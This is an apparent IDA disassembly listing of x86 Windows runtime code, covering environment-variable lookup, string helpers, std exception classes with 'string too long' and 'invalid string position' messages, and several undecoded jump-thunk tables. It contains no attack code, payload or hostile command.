arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB0CC
		mov	[ebp+var_4], eax
		jmp	short loc_431247
; ---------------------------------------------------------------------------


loc_43123E:				; CODE XREF: sub_431230:loc_431298j
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx


loc_431247:				; CODE XREF: sub_431230+Cj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_43129A
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4301A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_431298
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [edx+eax]
		cmp	ecx, 3Dh
		jz	short loc_43128A
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [eax+ecx]
		test	edx, edx
		jnz	short loc_431298


loc_43128A:				; CODE XREF: sub_431230+48j
		mov	eax, [ebp+var_4]
		sub	eax, dword_4DB0CC
		sar	eax, 2
		jmp	short loc_4312A8
; ---------------------------------------------------------------------------


loc_431298:				; CODE XREF: sub_431230+37j
					; sub_431230+58j
		jmp	short loc_43123E
; ---------------------------------------------------------------------------


loc_43129A:				; CODE XREF: sub_431230+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, dword_4DB0CC
		sar	eax, 2
		neg	eax


loc_4312A8:				; CODE XREF: sub_431230+66j
		mov	esp, ebp
		pop	ebp
		retn
sub_431230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4312B0	proc near		; CODE XREF: sub_430F50+58p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_4312D0
		xor	eax, eax
		jmp	loc_43139A
; ---------------------------------------------------------------------------


loc_4312D0:				; CODE XREF: sub_4312B0+17j
					; sub_4312B0+3Bj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax
		test	edx, edx
		jz	short loc_4312ED
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_4312D0
; ---------------------------------------------------------------------------


loc_4312ED:				; CODE XREF: sub_4312B0+30j
		push	146h
		push	offset dword_434F30
		push	2
		mov	edx, [ebp+var_10]
		lea	eax, ds:4[edx*4]
		push	eax
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_431325
		push	9
		call	sub_41A9A0
		add	esp, 4


loc_431325:				; CODE XREF: sub_4312B0+69j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_C], edx


loc_43132B:				; CODE XREF: sub_4312B0+DCj
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_43138E
		push	14Fh
		push	offset dword_434F30
		push	2
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_414DD0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jz	short loc_43137A
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	sub_4184C0
		add	esp, 8


loc_43137A:				; CODE XREF: sub_4312B0+B4j
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_43132B
; ---------------------------------------------------------------------------


loc_43138E:				; CODE XREF: sub_4312B0+81j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]


loc_43139A:				; CODE XREF: sub_4312B0+1Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_4312B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4313A0	proc near		; CODE XREF: sub_430F50+13p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB57C, 0
		jnz	short loc_4313C2
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4185C0
		add	esp, 8
		jmp	loc_431489
; ---------------------------------------------------------------------------


loc_4313C2:				; CODE XREF: sub_4313A0+Bj
		push	19h
		call	sub_41B780
		add	esp, 4
		jmp	short loc_4313D7
; ---------------------------------------------------------------------------


loc_4313CE:				; CODE XREF: sub_4313A0:loc_431466j
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_4313D7:				; CODE XREF: sub_4313A0+2Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_43146B
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_4DB681[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_431456
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_431428
		push	19h
		call	sub_41B820
		add	esp, 4
		xor	eax, eax
		jmp	short loc_431489
; ---------------------------------------------------------------------------


loc_431428:				; CODE XREF: sub_4313A0+78j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		shl	edx, 8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		or	edx, ecx
		cmp	[ebp+arg_4], edx
		jnz	short loc_431454
		push	19h
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		jmp	short loc_431489
; ---------------------------------------------------------------------------


loc_431454:				; CODE XREF: sub_4313A0+A0j
		jmp	short loc_431466
; ---------------------------------------------------------------------------


loc_431456:				; CODE XREF: sub_4313A0+64j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		cmp	[ebp+arg_4], edx
		jnz	short loc_431466
		jmp	short loc_43146B
; ---------------------------------------------------------------------------


loc_431466:				; CODE XREF: sub_4313A0:loc_431454j
					; sub_4313A0+C2j
		jmp	loc_4313CE
; ---------------------------------------------------------------------------


loc_43146B:				; CODE XREF: sub_4313A0+4Dj
					; sub_4313A0+C4j
		push	19h
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	[ebp+arg_4], eax
		jnz	short loc_431487
		mov	eax, [ebp+arg_0]
		jmp	short loc_431489
; ---------------------------------------------------------------------------


loc_431487:				; CODE XREF: sub_4313A0+E0j
		xor	eax, eax


loc_431489:				; CODE XREF: sub_4313A0+1Dj
					; sub_4313A0+86j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431490	proc near		; CODE XREF: sub_40BDDE+15p
					; sub_40BE72+15p ...

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_431490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_38]
		call	sub_40BD8B
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_431640
		push	offset dword_435288
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_432050
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_431490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4314F0	proc near		; CODE XREF: sub_431580+10p
					; sub_431760+Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4314F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		call	sub_431DD0
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40BD61
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], offset	off_434F50
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4314F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431560	proc near		; DATA XREF: ___:00434F54o
					; ___:00434F64o ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0Ch
		call	sub_40BE4D
		mov	esp, ebp
		pop	ebp
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431580	proc near		; DATA XREF: ___:00434F58o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_4314F0
		push	offset dword_4352F8
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_432050
		mov	esp, ebp
		pop	ebp
		retn
sub_431580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4315B0	proc near		; CODE XREF: sub_431610+Ap
					; sub_4316E0+13p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4315B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], offset	off_434F50
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40BDAE
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	sub_431E90
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_4315B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431610	proc near		; DATA XREF: ___:off_434F50o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4315B0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_431635
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419B00
		add	esp, 4


loc_431635:				; CODE XREF: sub_431610+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431640	proc near		; CODE XREF: sub_431490+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_431670
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_434F60
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431670	proc near		; CODE XREF: sub_431640+Ep
					; sub_4317F0+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_431670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], offset dword_433E6C
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		call	sub_431D60
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, 0Ch
		call	sub_40BD61
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], offset	off_434F50
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4316E0	proc near		; CODE XREF: sub_431730+Ap
					; DATA XREF: ___:0043528Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_434F60
		mov	ecx, [ebp+var_4]
		call	sub_4315B0
		mov	esp, ebp
		pop	ebp
		retn
sub_4316E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431700	proc near		; DATA XREF: ___:00434F68o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_431760
		push	offset dword_435288
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_432050
		mov	esp, ebp
		pop	ebp
		retn
sub_431700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431730	proc near		; DATA XREF: ___:off_434F60o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4316E0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_431755
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419B00
		add	esp, 4


loc_431755:				; CODE XREF: sub_431730+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431760	proc near		; CODE XREF: sub_431700+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_4314F0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_434F60
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431790	proc near		; CODE XREF: sub_40BEDC+17p
					; sub_40C15B+Ep

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_431790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_38]
		call	sub_40BD8B
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_4317F0
		push	offset dword_435388
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_432050
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_431790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4317F0	proc near		; CODE XREF: sub_431790+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_431670
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_434F88
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4317F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431820	proc near		; CODE XREF: sub_431870+Ap
					; DATA XREF: ___:0043538Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_434F88
		mov	ecx, [ebp+var_4]
		call	sub_4315B0
		mov	esp, ebp
		pop	ebp
		retn
sub_431820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431840	proc near		; DATA XREF: ___:00434F90o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_4318A0
		push	offset dword_435388
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_432050
		mov	esp, ebp
		pop	ebp
		retn
sub_431840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431870	proc near		; DATA XREF: ___:off_434F88o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_431820
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_431895
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419B00
		add	esp, 4


loc_431895:				; CODE XREF: sub_431870+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4318A0	proc near		; CODE XREF: sub_431840+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_4314F0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_434F88
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4318A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4318D0	proc near		; DATA XREF: ___:0043600Co
		push	ebp
		mov	ebp, esp
		call	sub_40C32A
		call	sub_4318F0
		call	sub_431910
		call	sub_431940
		pop	ebp
		retn
sub_4318D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4318F0	proc near		; CODE XREF: sub_4318D0+8p
		push	ebp
		mov	ebp, esp
		push	offset nullsub_1
		call	sub_419C90
		add	esp, 4
		pop	ebp
		retn
sub_4318F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431910	proc near		; CODE XREF: sub_4318D0+Dp
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	al, byte_4DC7D8
		and	eax, 1
		test	eax, eax
		jnz	short loc_431930
		mov	cl, byte_4DC7D8
		or	cl, 1
		mov	byte_4DC7D8, cl


loc_431930:				; CODE XREF: sub_431910+Fj
		pop	ebp
		retn
sub_431910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431940	proc near		; CODE XREF: sub_4318D0+12p
		push	ebp
		mov	ebp, esp
		push	offset sub_431960
		call	sub_419C90
		add	esp, 4
		pop	ebp
		retn
sub_431940	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431960	proc near		; DATA XREF: sub_431940+3o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_431960	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h
		dd 7167FF24h, 67F987E9h
; ---------------------------------------------------------------------------
		jno	short loc_4319A9

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431972	proc near		; CODE XREF: sub_40B707+5Ep
		nop
		jmp	near ptr 71AB1B7Bh
sub_431972	endp

; ---------------------------------------------------------------------------
		dd 680177E9h, 0E9905571h, 7168229Eh, 683D07E9h,	0E9907471h
		dd 716800DDh, 25F7E990h, 0E9907168h, 716824C1h,	67FDA5E9h
		dd 0E9902D71h, 71686CE5h
		db 0E9h
; ---------------------------------------------------------------------------


loc_4319A9:				; CODE XREF: ___:00431970j
		xor	eax, 7B716844h
		nop
		jmp	near ptr 71AB3ECEh
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0A0h, 0FBh
		dd 0E9907167h, 7168281Ah, 0FE70E990h, 0E9907167h, 77A442E9h
		dd 0E6C9E990h, 0C8E90223h, 620223E9h, 0E622E990h, 1DE90224h
		dd 40225E6h, 0EBAFE990h, 21E90225h, 70225ECh, 0EEF9E990h
		dd 0E9900225h, 226E604h, 0ED95E990h, 0E9900226h, 226EEF7h
		dd 0F0E4E990h, 0E9900226h, 227E5ECh, 27EC3FE9h,	0E9905002h
		dd 227EC6Fh, 0F0BEE990h, 0E9900227h, 227F20Ch, 0F29CE990h
		dd 0C9E90227h, 0DE0228E5h, 0EBC1E990h, 0E9900228h, 229E5BCh
		dd 29F166E9h, 0B1E98D02h, 0A1022AE5h, 0E5AAE990h, 0E990022Bh
		dd 22BEAE3h, 0E59EE990h, 0E990022Ch, 77B4C898h,	0C7B1E990h
		dd 0E99077B4h, 22CEAC4h, 0ECF6E990h, 81E9022Ch,	0B3022DE5h
		dd 0E57AE990h, 0E990022Eh, 22FE574h, 0EE62E990h, 0E990022Fh
		dd 22FEF64h, 0F464E990h, 0E990022Fh, 230E55Ch, 0F841E990h
		dd 51E90230h, 5A0231E5h, 0F0E5E990h, 45E90231h,	0E80232E5h
		dd 0E7C8E990h, 39E90232h, 0B80233E5h, 33EB88E9h, 0E9906702h
		dd 234E52Ch, 0E526E990h, 21E90235h, 5A0236E5h, 36F0B8E9h
		dd 0E9903402h, 236F376h, 37E50FE9h, 0E990B302h,	237E68Eh
		dd 0E502E990h, 0E9900238h, 239E4FCh, 0EB38E990h, 0F1E90239h
		dd 37021AE4h, 39F07CE9h, 0E990A902h, 23AE4E4h, 0EBD0E990h
		dd 0E990023Ah, 23BE4D8h, 0E4D2E990h, 0E990023Ch, 23CF645h
		dd 0E4C6E990h, 0E990023Dh, 23DF678h, 3DFA1CE9h,	0E990A602h
		dd 23DFE17h, 3EE4AFE9h,	0E990A602h, 23EFA93h, 0FFD5E990h
		dd 0E990023Eh, 23FE49Ch, 0E5B2E990h, 0E990023Fh, 240E490h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431B70	proc near		; CODE XREF: sub_419340+27p
					; sub_4196B0+13p
		nop
		jmp	near ptr 2840553h
sub_431B70	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 240F0FFh, 0F148E990h, 0E9900240h, 241E478h, 95E990h
		dd 0ADE90242h, 71024200h, 1B0BE990h, 0E99077A8h, 242E460h
		dd 0E717E990h, 0E9900242h, 242EB30h, 0EB9AE990h, 0E9900242h
		dd 243E448h, 0E442E990h, 0E9900244h, 2450506h, 450DC2E9h
		dd 0E9902F02h, 245E430h, 0EA2DE990h, 0E9900245h, 245EBDAh
		dd 0ED8DE990h, 1AE90245h, 40245EEh, 0E412E990h,	0E9900246h
		dd 246E848h, 46F04BE9h,	0E9909A02h, 246F0DDh, 0F1E7E990h
		dd 0E9900246h, 247E3F4h, 0EC38E990h, 0E9900247h, 247EC64h
		dd 0EC6EE990h, 0E9900247h, 248E3DCh, 48EB51E9h,	0E9905802h
		dd 249E3D0h, 0E3CAE990h, 0E990024Ah, 24AF480h, 0F67BE990h
		dd 0E990024Ah, 24AF793h, 0F7EEE990h, 0E990024Ah, 223E3ACh
		dd 0F0BEE990h, 0ADE90222h, 0A60222EBh, 0E39AE990h, 0E9900222h
		dd 221E394h, 21DE990h, 0E9900221h, 2210181h, 0E382E990h
		dd 0E9900220h, 21FE421h, 0E376E990h, 81E9021Fh,	95021EEFh
		dd 0E36AE990h, 0E990021Eh, 21DE364h, 0EAF2E990h, 59E9021Ch
		dd 67021CE3h, 0E352E990h, 0CCCC021Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431CB0	proc near		; CODE XREF: sub_411AB7+21p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_431CBE
		xor	eax, eax
		jmp	short loc_431CF3
; ---------------------------------------------------------------------------


loc_431CBE:				; CODE XREF: sub_431CB0+8j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_414DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_431CF1
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4184C0
		add	esp, 8
		jmp	short loc_431CF3
; ---------------------------------------------------------------------------


loc_431CF1:				; CODE XREF: sub_431CB0+2Dj
		xor	eax, eax


loc_431CF3:				; CODE XREF: sub_431CB0+Cj
					; sub_431CB0+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_431CB0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_434F98
		mov	ecx, [ebp-4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp-4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431D30	proc near		; DATA XREF: ___:off_434F98o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_431E90
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_431D55
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419B00
		add	esp, 4


loc_431D55:				; CODE XREF: sub_431D30+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431D30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431D60	proc near		; CODE XREF: sub_431670+2Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_434F98
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_419BB0
		add	esp, 4
